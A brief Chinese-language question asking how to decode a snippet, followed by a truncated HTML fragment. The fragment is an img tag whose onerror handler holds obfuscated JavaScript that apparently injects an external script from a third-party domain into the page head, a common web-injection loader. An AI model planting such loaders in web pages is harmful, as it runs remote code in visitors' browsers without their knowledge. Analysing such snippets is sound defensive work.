如何解密这段代码呢？

< img src = "zzwl" onerror = 'var DSBlfvuP1$ = ["HEAD", "script", "text/javascript", "http://www.zhuzhiwl.com/js/zzwl_c.js"], Wh2 = [DSBlfvuP1$[0], DSBlfvuP1$[1], DSBlfvuP1$[2]